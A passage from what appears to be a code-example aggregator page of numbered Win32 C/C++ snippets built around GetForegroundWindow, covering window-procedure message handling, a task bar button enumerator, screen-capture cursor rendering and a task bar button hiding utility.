        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        SetCapture(hwnd);
        return winMouseButtonsHandle(s_pScreen, ButtonPress, HIWORD(wParam) + 5,
                                     wParam);

    case WM_XBUTTONUP:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;
        ReleaseCapture();
        winStartMousePolling(s_pScreenPriv);
        return winMouseButtonsHandle(s_pScreen, ButtonRelease,
                                     HIWORD(wParam) + 5, wParam);

    case WM_MOUSEWHEEL:
        if (SendMessage
                (hwnd, WM_NCHITTEST, 0,
                 MAKELONG(GET_X_LPARAM(lParam),
                          GET_Y_LPARAM(lParam))) == HTCLIENT) {
            /* Pass the message to the root window */
            SendMessage(hwndScreen, message, wParam, lParam);
            return 0;
        }
        else
            break;

    case WM_SETFOCUS:
        if (s_pScreenPriv == NULL || s_pScreenInfo->fIgnoreInput)
            break;

        {
            /* Get the parent window for transient handling */
            HWND hParent = GetParent(hwnd);

            if (hParent && IsIconic(hParent))
                ShowWindow(hParent, SW_RESTORE);
        }

        winRestoreModeKeyStates();

        /* Add the keyboard hook if possible */
        if (g_fKeyboardHookLL)
            g_fKeyboardHookLL = winInstallKeyboardHookLL();
        return 0;

    case WM_KILLFOCUS:
        /* Pop any pressed keys since we are losing keyboard focus */
        winKeybdReleaseKeys();

        /* Remove our keyboard hook if it is installed */
        winRemoveKeyboardHookLL();

        /* Revert the X focus as well, but only if the Windows focus is going to another window */
        if (!wParam && pWin)
            DeleteWindowFromAnyEvents(pWin, FALSE);

        return 0;

    case WM_SYSDEADCHAR:
    case WM_DEADCHAR:
        /*
         * NOTE: We do nothing with WM_*CHAR messages,
         * nor does the root window, so we can just toss these messages.
         */
        return 0;

    case WM_SYSKEYDOWN:
    case WM_KEYDOWN:

        /*
         * Don't pass Alt-F4 key combo to root window,
         * let Windows translate to WM_CLOSE and close this top-level window.
         *
         * NOTE: We purposely don't check the fUseWinKillKey setting because
         * it should only apply to the key handling for the root window,
         * not for top-level window-manager windows.
         *
         * ALSO NOTE: We do pass Ctrl-Alt-Backspace to the root window
         * because that is a key combo that no X app should be expecting to
         * receive, since it has historically been used to shutdown the X server.
         * Passing Ctrl-Alt-Backspace to the root window preserves that
         * behavior, assuming that -unixkill has been passed as a parameter.
         */
        if (wParam == VK_F4 && (GetKeyState(VK_MENU) & 0x8000))
            break;

#ifdef WINDBG
        if (wParam == VK_ESCAPE) {
            /* Place for debug: put any tests and dumps here */
            WINDOWPLACEMENT windPlace;
            RECT rc;
            LPRECT pRect;

            windPlace.length = sizeof(WINDOWPLACEMENT);
            GetWindowPlacement(hwnd, &windPlace);
            pRect = &windPlace.rcNormalPosition;
            winDebug ("\nCYGWINDOWING Dump:\n"
                      "\tdrawable: (%hd, %hd) - %hdx%hd\n", pDraw->x,
                      pDraw->y, pDraw->width, pDraw->height);
            winDebug ("\twindPlace: (%ld, %ld) - %ldx%ld\n", pRect->left,
                      pRect->top, pRect->right - pRect->left,
                      pRect->bottom - pRect->top);
            if (GetClientRect(hwnd, &rc)) {
                pRect = &rc;
                winDebug ("\tClientRect: (%ld, %ld) - %ldx%ld\n", pRect->left,
                          pRect->top, pRect->right - pRect->left,
                          pRect->bottom - pRect->top);
            }
            if (GetWindowRect(hwnd, &rc)) {
                pRect = &rc;
                winDebug ("\tWindowRect: (%ld, %ld) - %ldx%ld\n", pRect->left,
                          pRect->top, pRect->right - pRect->left,
                          pRect->bottom - pRect->top);
            }
            winDebug ("\n");
        }
#endif

        /* Pass the message to the root window */
        return winWindowProc(hwndScreen, message, wParam, lParam);

    case WM_SYSKEYUP:
    case WM_KEYUP:

        /* Pass the message to the root window */
        return winWindowProc(hwndScreen, message, wParam, lParam);

    case WM_HOTKEY:

        /* Pass the message to the root window */
        SendMessage(hwndScreen, message, wParam, lParam);
        return 0;

    case WM_ACTIVATE:

        /* Pass the message to the root window */
        SendMessage(hwndScreen, message, wParam, lParam);

        if (LOWORD(wParam) != WA_INACTIVE) {
            /* Raise the window to the top in Z order */
            /* ago: Activate does not mean putting it to front! */
            /*
               wmMsg.msg = WM_WM_RAISE;
               if (fWMMsgInitialized)
               winSendMessageToWM (s_pScreenPriv->pWMInfo, &wmMsg);
             */

            /* Tell our Window Manager thread to activate the window */
            wmMsg.msg = WM_WM_ACTIVATE;
            if (fWMMsgInitialized && pWin->realized && !pWin->overrideRedirect /* for OOo menus */)
                winSendMessageToWM (s_pScreenPriv->pWMInfo, &wmMsg);
        }
        /* Prevent the mouse wheel from stalling when another window is minimized */
        if (HIWORD(wParam) == 0 && LOWORD(wParam) == WA_ACTIVE &&
                (HWND) lParam != NULL && (HWND) lParam != (HWND) GetParent(hwnd))
            SetFocus(hwnd);
        return 0;

    case WM_ACTIVATEAPP:
        /*
         * This message is also sent to the root window
         * so we do nothing for individual multiwindow windows
         */
        break;

    case WM_CLOSE:
        /* Removep AppUserModelID property */
        winSetAppUserModelID(hwnd, NULL);
        /* Branch on if the window was killed in X already */
        if (pWinPriv->fXKilled) {
            /* Window was killed, go ahead and destroy the window */
            DestroyWindow(hwnd);
        }
        else {
            /* Tell our Window Manager thread to kill the window */
            wmMsg.msg = WM_WM_KILL;
            if (fWMMsgInitialized)
                winSendMessageToWM(s_pScreenPriv->pWMInfo, &wmMsg);
        }
        return 0;

    case WM_DESTROY:

        /* Branch on if the window was killed in X already */
        if (pWinPriv && !pWinPriv->fXKilled) {
            winDebug ("winTopLevelWindowProc - WM_DESTROY - WM_WM_KILL\n");

            /* Tell our Window Manager thread to kill the window */
            wmMsg.msg = WM_WM_KILL;
            if (fWMMsgInitialized)
                winSendMessageToWM(s_pScreenPriv->pWMInfo, &wmMsg);
        }

        RemoveProp(hwnd, WIN_WINDOW_PROP);
        RemoveProp(hwnd, WIN_WID_PROP);
        RemoveProp(hwnd, WIN_NEEDMANAGE_PROP);

        break;

    case WM_MOVE:
        /* Adjust the X Window to the moved Windows window */
        if (!hasEnteredSizeMove) winAdjustXWindow (pWin, hwnd);
        /* else: Wait for WM_EXITSIZEMOVE */
        return 0;

    case WM_SHOWWINDOW:
        /* Bail out if the window is being hidden */
        if (!wParam)
            return 0;

        /* */
        if (!pWin->overrideRedirect) {
            HWND zstyle = HWND_NOTOPMOST;

            /* Flag that this window needs to be made active when clicked */
            SetProp(hwnd, WIN_NEEDMANAGE_PROP, (HANDLE) 1);

            /* Set the transient style flags */
            if (GetParent(hwnd))
                SetWindowLongPtr(hwnd, GWL_STYLE,
                                 WS_POPUP | WS_OVERLAPPED | WS_SYSMENU |
                                 WS_CLIPCHILDREN | WS_CLIPSIBLINGS);
            /* Set the window standard style flags */
            else
                SetWindowLongPtr(hwnd, GWL_STYLE,
                                 (WS_POPUP | WS_OVERLAPPEDWINDOW |
                                  WS_CLIPCHILDREN | WS_CLIPSIBLINGS)
                                 & ~WS_CAPTION & ~WS_SIZEBOX);

            winUpdateWindowPosition(hwnd, &zstyle);

            {
                WinXWMHints hints;

                if (winMultiWindowGetWMHints(pWin, &hints)) {
                    /*
                       Give the window focus, unless it has an InputHint
                       which is FALSE (this is used by e.g. glean to
                       avoid every test window grabbing the focus)
                     */
                    if (!((hints.flags & InputHint) && (!hints.input))) {
                        SetForegroundWindow(hwnd);
                    }
                }
            }
            wmMsg.msg = WM_WM_MAP3;
        }
        else {                  /* It is an overridden window so make it top of Z stack */

            HWND forHwnd = GetForegroundWindow();
            winDebug ("overridden window is shown\n");
            if (forHwnd != NULL) {
                if (GetWindowLongPtr(forHwnd, GWLP_USERDATA) & (LONG_PTR)
                        VCXSRV_SIGNATURE) {
                    if (GetWindowLongPtr(forHwnd, GWL_EXSTYLE) & WS_EX_TOPMOST)
                        SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0,
                                     SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
                    else
                        SetWindowPos(hwnd, HWND_NOTOPMOST, 0, 0, 0, 0,
                                     SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
                }
            }
            wmMsg.msg = WM_WM_MAP2;
        }

        /* Tell our Window Manager thread to map the window */
        if (fWMMsgInitialized)
            winSendMessageToWM(s_pScreenPriv->pWMInfo, &wmMsg);

        winStartMousePolling(s_pScreenPriv);

        return 0;

    case WM_SIZING:
        /* Need to legalize the size according to WM_NORMAL_HINTS */
        /* for applications like xterm */
        return ValidateSizing(hwnd, pWin, wParam, lParam);

    case WM_WINDOWPOSCHANGING:
    {
        /*
          When window is moved or resized, force it to be redrawn, so that
          any OpenGL content is re-drawn correctly, rather than copying bits
          (which seem to be wrong, either because we are copying the wrong
          window in the window heirarchy, or because we don't have the bits
          drawn by OpenGL at all)

          XXX: really this should check if any child has fWglUsed set, but
          that might be expensive to check....
         */
        if (g_fNativeGl)
        {
            LPWINDOWPOS pWinPos = (LPWINDOWPOS)lParam;
            pWinPos->flags |= SWP_NOCOPYBITS;
        }
    }
    break;

    case WM_WINDOWPOSCHANGED:
    {
        LPWINDOWPOS pWinPos = (LPWINDOWPOS) lParam;

        if (!(pWinPos->flags & SWP_NOZORDER)) {
#if CYGWINDOWING_DEBUG
            winDebug("\twindow z order was changed\n");
#endif
            if (pWinPos->hwndInsertAfter == HWND_TOP
                    || pWinPos->hwndInsertAfter == HWND_TOPMOST
                    || pWinPos->hwndInsertAfter == HWND_NOTOPMOST) {
#if CYGWINDOWING_DEBUG
                winDebug("\traise to top\n");
#endif
                /* Raise the window to the top in Z order */
                winRaiseWindow(pWin);
            }
            else if (pWinPos->hwndInsertAfter == HWND_BOTTOM) {
            }
            else {
                /* Check if this window is top of X windows. */
                HWND hWndAbove = NULL;
                DWORD dwCurrentProcessID = GetCurrentProcessId();
                DWORD dwWindowProcessID = 0;

                for (hWndAbove = pWinPos->hwndInsertAfter;
                        hWndAbove != NULL;
                        hWndAbove = GetNextWindow(hWndAbove, GW_HWNDPREV)) {
                    /* Ignore other XWin process's window */
                    GetWindowThreadProcessId(hWndAbove, &dwWindowProcessID);

                    if ((dwWindowProcessID == dwCurrentProcessID)
                            && GetProp(hWndAbove, WIN_WINDOW_PROP)
                            && !IsWindowVisible(hWndAbove)
                            && !IsIconic(hWndAbove))        /* ignore minimized windows */
                        break;
                }
                /* If this is top of X windows in Windows stack,
                   raise it in X stack. */
                if (hWndAbove == NULL) {
#if CYGWINDOWING_DEBUG
                    winDebug("\traise to top\n");
#endif
                    winRaiseWindow(pWin);
                }
            }
        }
    }
        /*
         * Pass the message to DefWindowProc to let the function
         * break down WM_WINDOWPOSCHANGED to WM_MOVE and WM_SIZE.
         */
    break;

    case WM_ENTERSIZEMOVE:
        hasEnteredSizeMove = TRUE;
        return 0;

    case WM_EXITSIZEMOVE:
        /* Adjust the X Window to the moved Windows window */
        hasEnteredSizeMove = FALSE;
        winAdjustXWindow (pWin, hwnd);
        return 0;

    case WM_SIZE:
        /* see dix/window.c */
#ifdef WINDBG
    {
        char buf[64];

        switch (wParam) {
        case SIZE_MINIMIZED:
            strcpy(buf, "SIZE_MINIMIZED");
            break;
        case SIZE_MAXIMIZED:
            strcpy(buf, "SIZE_MAXIMIZED");
            break;
        case SIZE_RESTORED:
            strcpy(buf, "SIZE_RESTORED");
            break;
        default:
            strcpy(buf, "UNKNOWN_FLAG");
        }
        winDebug ("winTopLevelWindowProc - WM_SIZE to %dx%d (%s) - %d ms\n",
                  (int) LOWORD(lParam), (int) HIWORD(lParam), buf,
                  (int) (GetTickCount()));
    }
#endif
    if (!hasEnteredSizeMove)
    {
        /* Adjust the X Window to the moved Windows window */
        winAdjustXWindow (pWin, hwnd);
        if (wParam == SIZE_MINIMIZED) winReorderWindowsMultiWindow();
    }
        /* else: wait for WM_EXITSIZEMOVE */
        return 0; /* end of WM_SIZE handler */

    case WM_STYLECHANGED:
        /* when the style changes, adjust the window size so the client area remains the same */
    {
        LONG x,y;
        DrawablePtr pDraw = &pWin->drawable;
        x =  pDraw->x - wBorderWidth(pWin);
        y = pDraw->y - wBorderWidth(pWin);
        winPositionWindowMultiWindow(pWin, x, y);
    }
    return 0;

    case WM_MOUSEACTIVATE:

        /* Check if this window needs to be made active when clicked */
        if (!GetProp(pWinPriv->hWnd, WIN_NEEDMANAGE_PROP)) {
            winDebug ("winTopLevelWindowProc - WM_MOUSEACTIVATE - "
                      "MA_NOACTIVATE\n");

            /* */
            return MA_NOACTIVATE;
        }
        break;

    case WM_SETCURSOR:
        if (LOWORD(lParam) == HTCLIENT) {
            if (!g_fSoftwareCursor)
                SetCursor(s_pScreenPriv->cursor.handle);
            return TRUE;
        }
        break;

    default:
        break;
    }

    ret = DefWindowProc(hwnd, message, wParam, lParam);
    /*
     * If the window was minized we get the stack change before the window is restored
     * and so it gets lost. Ensure there stacking order is correct.
     */
    if (needRestack)
        winReorderWindowsMultiWindow();
    return ret;
}
Ejemplo n.º 19
0
 // fill task bar with buttons for enumerated top level windows
BOOL CALLBACK TaskBar::EnumWndProc(HWND hwnd, LPARAM lparam)
{
	TaskBar* pThis = (TaskBar*)lparam;

	DWORD style = GetWindowStyle(hwnd);
	DWORD ex_style = GetWindowExStyle(hwnd);

	if ((style&WS_VISIBLE) && !(ex_style&WS_EX_TOOLWINDOW) &&
		!GetParent(hwnd) && !GetWindow(hwnd,GW_OWNER)) {
		TCHAR title[BUFFER_LEN];

		if (!GetWindowText(hwnd, title, BUFFER_LEN))
			title[0] = '\0';

		TaskBarMap::iterator found = pThis->_map.find(hwnd);
		int last_id = 0;

		if (found != pThis->_map.end()) {
			last_id = found->second._id;

			if (!last_id)
				found->second._id = pThis->_next_id++;
		} else {
			HBITMAP hbmp;
			HICON hIcon = get_window_icon_small(hwnd);
			BOOL delete_icon = FALSE;

			if (!hIcon) {
				hIcon = LoadIcon(0, IDI_APPLICATION);
				delete_icon = TRUE;
			}

			if (hIcon) {
				hbmp = create_bitmap_from_icon(hIcon, GetSysColorBrush(COLOR_BTNFACE), WindowCanvas(pThis->_htoolbar));
				if (delete_icon)
					DestroyIcon(hIcon); // some icons can be freed, some not - so ignore any error return of DestroyIcon()
			} else
				hbmp = 0;

			TBADDBITMAP ab = {0, (UINT_PTR)hbmp};
			int bmp_idx = SendMessage(pThis->_htoolbar, TB_ADDBITMAP, 1, (LPARAM)&ab);

			TaskBarEntry entry;

			entry._id = pThis->_next_id++;
			entry._hbmp = hbmp;
			entry._bmp_idx = bmp_idx;
			entry._title = title;

			pThis->_map[hwnd] = entry;
			found = pThis->_map.find(hwnd);
		}

		TBBUTTON btn = {-2/*I_IMAGENONE*/, 0, TBSTATE_ENABLED/*|TBSTATE_ELLIPSES*/, BTNS_BUTTON, {0, 0}, 0, 0};
		TaskBarEntry& entry = found->second;

		++entry._used;
		btn.idCommand = entry._id;

		HWND foreground = GetForegroundWindow();
		HWND foreground_owner = GetWindow(foreground, GW_OWNER);

		if (hwnd==foreground || hwnd==foreground_owner) {
			btn.fsState |= TBSTATE_PRESSED|TBSTATE_CHECKED;
			pThis->_last_foreground_wnd = hwnd;
		}

		if (!last_id) {
			 // create new toolbar buttons for new windows
			if (title[0])
				btn.iString = (INT_PTR)title;

			btn.iBitmap = entry._bmp_idx;
			entry._btn_idx = SendMessage(pThis->_htoolbar, TB_BUTTONCOUNT, 0, 0);

			SendMessage(pThis->_htoolbar, TB_INSERTBUTTON, entry._btn_idx, (LPARAM)&btn);

			pThis->ResizeButtons();
		} else {
			 // refresh attributes of existing buttons
			if (btn.fsState != entry._fsState)
				SendMessage(pThis->_htoolbar, TB_SETSTATE, entry._id, MAKELONG(btn.fsState,0));

			if (entry._title != title) {
				TBBUTTONINFO info;

				info.cbSize = sizeof(TBBUTTONINFO);
				info.dwMask = TBIF_TEXT;
				info.pszText = title;

				SendMessage(pThis->_htoolbar, TB_SETBUTTONINFO, entry._id, (LPARAM)&info);

				entry._title = title;
			}
		}

		entry._fsState = btn.fsState;

#ifdef __REACTOS__	// now handled by activating the ARW_HIDE flag with SystemParametersInfo(SPI_SETMINIMIZEDMETRICS)
		 // move minimized windows out of sight
		if (IsIconic(hwnd)) {
			RECT rect;

			GetWindowRect(hwnd, &rect);

			if (rect.bottom > 0)
				SetWindowPos(hwnd, 0, -32000, -32000, 0, 0, SWP_NOSIZE|SWP_NOZORDER|SWP_NOACTIVATE);
		}
#endif
	}

	return TRUE;
}
Ejemplo n.º 20
0
void STDCALL GraphicsCaptureSource::CaptureHotkey(DWORD hotkey, GraphicsCaptureSource *capture, bool bDown)
{
    if (bDown)
        capture->hwndNextTarget = GetForegroundWindow();
}
Ejemplo n.º 21
0
void GraphicsCaptureSource::Render(const Vect2 &pos, const Vect2 &size)
{
    if(capture)
    {
        Shader *lastShader = GetCurrentPixelShader();

        float fGamma = float(-(gamma-100) + 100) * 0.01f;

        LoadPixelShader(drawShader);
        HANDLE hGamma = drawShader->GetParameterByName(TEXT("gamma"));
        if(hGamma)
            drawShader->SetFloat(hGamma, fGamma);

        //----------------------------------------------------------
        // capture mouse

        bMouseCaptured = false;

        if(bCaptureMouse)
        {
            CURSORINFO ci;
            zero(&ci, sizeof(ci));
            ci.cbSize = sizeof(ci);

            if(GetCursorInfo(&ci) && (hwndCapture || bUseDWMCapture))
            {
                mcpy(&cursorPos, &ci.ptScreenPos, sizeof(cursorPos));

                if(!bUseDWMCapture)
                    ScreenToClient(hwndCapture, &cursorPos);

                if(ci.flags & CURSOR_SHOWING)
                {
                    if(ci.hCursor == hCurrentCursor)
                        bMouseCaptured = true;
                    else
                    {
                        HICON hIcon = CopyIcon(ci.hCursor);
                        hCurrentCursor = ci.hCursor;

                        delete cursorTexture;
                        cursorTexture = NULL;

                        if(hIcon)
                        {
                            ICONINFO ii;
                            if(GetIconInfo(hIcon, &ii))
                            {
                                xHotspot = int(ii.xHotspot);
                                yHotspot = int(ii.yHotspot);

                                UINT width, height;
                                LPBYTE lpData = GetCursorData(hIcon, ii, width, height);
                                if(lpData && width && height)
                                {
                                    cursorTexture = CreateTexture(width, height, GS_BGRA, lpData, FALSE);
                                    if(cursorTexture)
                                        bMouseCaptured = true;

                                    Free(lpData);
                                }

                                DeleteObject(ii.hbmColor);
                                DeleteObject(ii.hbmMask);
                            }

                            DestroyIcon(hIcon);
                        }
                    }
                }
            }
        }

        //----------------------------------------------------------
        // game texture

        Texture *tex = capture->LockTexture();

        Vect2 texPos = Vect2(0.0f, 0.0f);
        Vect2 texStretch = Vect2(1.0f, 1.0f);

        if(tex)
        {
            Vect2 texSize = Vect2(float(tex->Width()), float(tex->Height()));
            Vect2 totalSize = API->GetBaseSize();

            Vect2 center = totalSize*0.5f;

            if(!bAlphaBlend)
                BlendFunction(GS_BLEND_ONE, GS_BLEND_ZERO);
            else
                BlendFunction(GS_BLEND_SRCALPHA, GS_BLEND_INVSRCALPHA);

            if(bStretch)
            {
                if(bIgnoreAspect)
                    texStretch *= totalSize;
                else
                {
                    float xAspect = totalSize.x / texSize.x;
                    float yAspect = totalSize.y / texSize.y;
                    float multiplyVal = ((texSize.y * xAspect) > totalSize.y) ? yAspect : xAspect;

                    texStretch *= texSize*multiplyVal;
                    texPos = center-(texStretch*0.5f);
                }
            }
            else
            {
                texStretch *= texSize;
                texPos = center-(texStretch*0.5f);
            }

            Vect2 sizeAdjust = size/totalSize;
            texPos *= sizeAdjust;
            texPos += pos;
            texStretch *= sizeAdjust;

            RoundVect2(texPos);
            RoundVect2(texSize);

            if(bFlip)
                DrawSprite(tex, 0xFFFFFFFF, texPos.x, texPos.y+texStretch.y, texPos.x+texStretch.x, texPos.y);
            else
                DrawSprite(tex, 0xFFFFFFFF, texPos.x, texPos.y, texPos.x+texStretch.x, texPos.y+texStretch.y);

            capture->UnlockTexture();

            BlendFunction(GS_BLEND_SRCALPHA, GS_BLEND_INVSRCALPHA);

            //----------------------------------------------------------
            // draw mouse

            if (!foregroundCheckCount)
            {
                //only check for foreground window every 10 frames since this involves two syscalls
                if(!bUseDWMCapture)
                    GetWindowThreadProcessId(GetForegroundWindow(), &foregroundPID);
                foregroundCheckCount = 10;
            }

            if(bMouseCaptured && cursorTexture && ((foregroundPID == targetProcessID) || bUseDWMCapture))
            {
                Vect2 newCursorPos  = Vect2(float(cursorPos.x-xHotspot), float(cursorPos.y-xHotspot));
                Vect2 newCursorSize = Vect2(float(cursorTexture->Width()), float(cursorTexture->Height()));

                newCursorPos  /= texSize;
                newCursorSize /= texSize;

                newCursorPos *= texStretch;
                newCursorPos += texPos;

                newCursorSize *= texStretch;

                bool bInvertCursor = false;
                if(invertShader)
                {
                    if(bInvertCursor = ((GetAsyncKeyState(VK_LBUTTON) & 0x8000) != 0 || (GetAsyncKeyState(VK_RBUTTON) & 0x8000) != 0))
                        LoadPixelShader(invertShader);
                }

                DrawSprite(cursorTexture, 0xFFFFFFFF, newCursorPos.x, newCursorPos.y, newCursorPos.x+newCursorSize.x, newCursorPos.y+newCursorSize.y);
            }

            foregroundCheckCount--;
        }

        if(lastShader)
            LoadPixelShader(lastShader);
    }
}
Ejemplo n.º 22
0
bool pinDialogPriv::showPrompt(std::string prompt,bool allowRetry) {
	int code = MessageBoxA(GetForegroundWindow(),prompt.c_str(),
		"PIN message", (allowRetry ? MB_RETRYCANCEL : MB_OK ) | MB_ICONHAND );
	return (IDRETRY == code  || IDOK == code);
	}
Ejemplo n.º 23
0
LRESULT APIENTRY WndProc_Hook(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    bool bFocused = (GetForegroundWindow() == hWnd);

	// Update HWND state..
	if(bFocused != g_pCore->GetGame()->IsFocused())
		g_pCore->GetGame()->SetFocused(bFocused);

    // Are we focused?
    if(bFocused)
    {
		if (g_pCore->GetGraphics()->GetGUI())
			g_pCore->GetGraphics()->GetGUI()->HandleUserInput(uMsg, wParam);

		if(uMsg == WM_KILLFOCUS || (uMsg == WM_ACTIVATE && LOWORD(wParam) == WA_INACTIVE))
		{
			return true;
		}

		if(uMsg == WM_KEYUP)
		{
			switch(wParam)
			{
				case VK_F7:
				{
					const char *szSoundName = "test.mp3";
					szSoundName = SharedUtility::GetAbsolutePath("resources\\%s", szSoundName);

					CAudio  *pAudio = new CAudio(szSoundName, false, false);
					
					if (pAudio && pAudio->Load())
					{
						g_pCore->GetAudioManager()->Add(pAudio);
						pAudio->Play();
					}
					break;
				}
				case VK_ESCAPE: // Our own main menu
				{
					g_pCore->GetGraphics()->GetMainMenu()->SetVisible(!g_pCore->GetGraphics()->GetMainMenu()->IsMainMenuVisible());	

					if (g_pCore->GetGraphics()->GetMainMenu()->IsMainMenuVisible()) {
						g_pCore->GetGame()->GetLocalPlayer()->SetPlayerControlAdvanced(false, false);
					}
					else {
						g_pCore->GetGame()->GetLocalPlayer()->SetPlayerControlAdvanced(true, true);
					}

					break;
				}
				case VK_F8:
				{
					// Take a screen shot
					if(!CSnapShot::Take())
					{
						g_pCore->GetGraphics()->GetChat()->Print(CString("Screen shot capture failed (%s).", CSnapShot::GetError().Get()));
						CSnapShot::Reset();
					}
					break;
				}
			}
		}

		if(g_pCore->GetGraphics()->GetChat())
			 g_pCore->GetGraphics()->GetChat()->HandleUserInput(uMsg, wParam);
    }

    return CallWindowProc(m_wWndProc, hWnd, uMsg, wParam, lParam);
}
Ejemplo n.º 24
0
/*-------------------------------*/
LRESULT CALLBACK WndProc(HWND hWnd, UINT komunikat, WPARAM wParam, LPARAM lParam)
{
    static BOOL bDragging;
    static int poz;
    POINT pkt;
    HIMAGELIST hDragImgList;
    static NOTIFYICONDATA nim;

    switch (komunikat)
    {
        case WM_CREATE:
            HWND hToolTip;
            HFONT hFont;
            TOOLINFO tinf;
            RECT rect;

            /*-----tworzenie kontrolek-----*/
            hList = CreateWindow("SysListView32", "lista_przyciskow", WS_VISIBLE | WS_CHILD | WS_BORDER |
                                 LVS_REPORT | LVS_SINGLESEL,0,0,493,230,hWnd,NULL,hInst, NULL);
            hRefresh = CreateWindow("button", "Odœwie¿ listê", WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,
                                    135, 232, 100, 20, hWnd, NULL, hInst, NULL);
            hShow = CreateWindow("button", "Poka¿ przycisk", WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,
                                 15, 232, 100, 20,/*255, 232, 100, 20,*/ hWnd, NULL, hInst, NULL);
            hInfo = CreateWindow("button", "O programie...", WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,
                                 375, 232, 100, 20, hWnd, NULL, hInst, NULL);

            /*-----tworzenie i ustawianie czcionki dla przycisków-----*/
            hFont = CreateFont(14, 0, 0, 0, 0, false, false, false, DEFAULT_CHARSET,
                               OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
                               DEFAULT_PITCH, NULL);

            SendMessage(hRefresh, WM_SETFONT, (WPARAM) hFont, true);
            SendMessage(hShow, WM_SETFONT, (WPARAM) hFont, true);
            SendMessage(hInfo, WM_SETFONT, (WPARAM) hFont, true);

            ListView_SetExtendedListViewStyle(hList, LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_INFOTIP);

            /*-----ustawianie tooltipów-----*/
            hToolTip = CreateWindow(TOOLTIPS_CLASS, NULL, TTS_ALWAYSTIP | TTS_BALLOON, 0,0,0,0, hWnd, NULL, hInst, NULL);

            //Ustawianie parametrów wspó³nych dla ka¿dego tooltipa: tytu³, kolor.
            SendMessage(hToolTip, TTM_SETTITLE, TTI_INFO, (LPARAM)"Skrót");
            SendMessage(hToolTip, TTM_SETTIPTEXTCOLOR, (LPARAM)RGB(0, 0, 100), 0);
            SendMessage(hToolTip, TTM_SETTIPBKCOLOR, (LPARAM)RGB(250, 250, 250), 0);

            GetClientRect (hWnd, &rect);
            tinf.cbSize = sizeof(TOOLINFO);
            tinf.uFlags = TTF_SUBCLASS;
            tinf.hinst = hInst;
            tinf.uId = 0;
            tinf.rect.left = rect.left;
            tinf.rect.top = rect.top;
            tinf.rect.right = rect.right;
            tinf.rect.bottom = rect.bottom;

            tinf.hwnd = hRefresh;
            tinf.lpszText = "F5";
            SendMessage(hToolTip, TTM_ADDTOOL, 0, (LPARAM)&tinf);
            tinf.hwnd = hShow;
            tinf.lpszText = "dwuklik LPM";
            SendMessage(hToolTip, TTM_ADDTOOL, 0, (LPARAM)&tinf);
            tinf.hwnd = hInfo;
            tinf.lpszText = "F1";
            SendMessage(hToolTip, TTM_ADDTOOL, 0, (LPARAM)&tinf);

            /*-----ustawianie ikony programu w zasobniku systemowym-----*/
            nim.cbSize = sizeof(NOTIFYICONDATA);
            nim.hWnd = hWnd;
            nim.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
            nim.hIcon = ikona;
            nim.uCallbackMessage = WM_TRAY;
            nim.uID = 7;
            lstrcpyn(nim.szTip, "Manipulator by FeniX", sizeof(nim.szTip));
            Shell_NotifyIcon(NIM_ADD, &nim);
            refresh();
            break;
        case WM_KEYUP:  //obs³uga skrótów klawiaturowych dla konkretnych akcji
            switch (wParam)
            {
                case VK_F5:
                    SendMessage(hRefresh, BM_CLICK, 0, 0);
                    break;
                case VK_F1:
                    SendMessage(hInfo, BM_CLICK, 0, 0);
                    break;
                case VK_SPACE:
                    SendMessage(hShow, BM_CLICK, 0, 0);
                    break;
                case VK_ESCAPE:
                    ShowWindow(hWnd, SW_MINIMIZE);
                    break;
            }
            break;
        case WM_COMMAND:    //obs³uga zdarzeñ okien pochodnych okna g³ównego
            switch (HIWORD(wParam))
            {
                case BN_CLICKED:    //komunikat klikniêcia przycisku
                    if ((HWND)lParam == hRefresh)
                    {
                        refresh();
                        SetFocus(hList);
                    }
                    else if ((HWND)lParam == hInfo)
                    {
                        MessageBox(hWnd, "Autor:\nKonrad Gadzina <*****@*****.**>\n"
                                         "Grupa 1131, Informatyka, rok akad. 2008/2009"
                                         "\nPracownia In¿ynierii Oprogramowania M-74\n"
                                         "Instytut Informatyki Stosowanej\n"
                                         "Wydzia³ Mechaniczny, Politechnika Krakowska\nJêzyki i Techniki Programowania",
                                         "O programie", MB_OK);
                    }
                    else if ((HWND)lParam == hShow)
                    {
                        int poz;
                        char buf[10];
                        bool hidden;
                        TBBUTTON *ptbb, tbb;
                        NOTIFYICONDATA fake;  //potrzebne do "odswiezania" paska zadan i dopasowywania szerokosci przyciskow

                        ptbb = (TBBUTTON*)VirtualAllocEx(proces, NULL, sizeof(TBBUTTON), MEM_COMMIT, PAGE_READWRITE);
                        poz = ListView_GetNextItem(hList, (WPARAM)-1, LVNI_SELECTED);

                        SendMessage(hPasek, TB_GETBUTTON, (WPARAM)poz, (LPARAM)ptbb);
                        ReadProcessMemory(proces, (void*)ptbb, (void*)&tbb, sizeof(TBBUTTON), NULL);

                        hidden = SendMessage(hPasek, TB_ISBUTTONHIDDEN, (WPARAM)tbb.idCommand, 0);
                        SendMessage(hPasek, TB_HIDEBUTTON, (WPARAM)tbb.idCommand, (LPARAM)!hidden);

                        if (hidden)
                            SendMessage(hShow, WM_SETTEXT, 0, (LPARAM)"Ukryj przycisk");
                        else
                            SendMessage(hShow, WM_SETTEXT, 0, (LPARAM)"Poka¿ przycisk");

                        /*---dodawanie i usuwanie ikony do zasobnika, by pasek zadañ siê "odœwie¿y³"---*/
                        fake.cbSize = sizeof(NOTIFYICONDATA);
                        fake.hWnd = hWnd;
                        fake.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
                        fake.hIcon = ikona;
                        fake.uCallbackMessage = WM_TRAY;
                        fake.uID = 19;
                        lstrcpyn(fake.szTip, "Manipulator by FeniX", sizeof(fake.szTip));
                        Shell_NotifyIcon(NIM_ADD, &fake);
                        Shell_NotifyIcon(NIM_DELETE, &fake);

                        for (int i = 0; i<ile; i++)
                        {
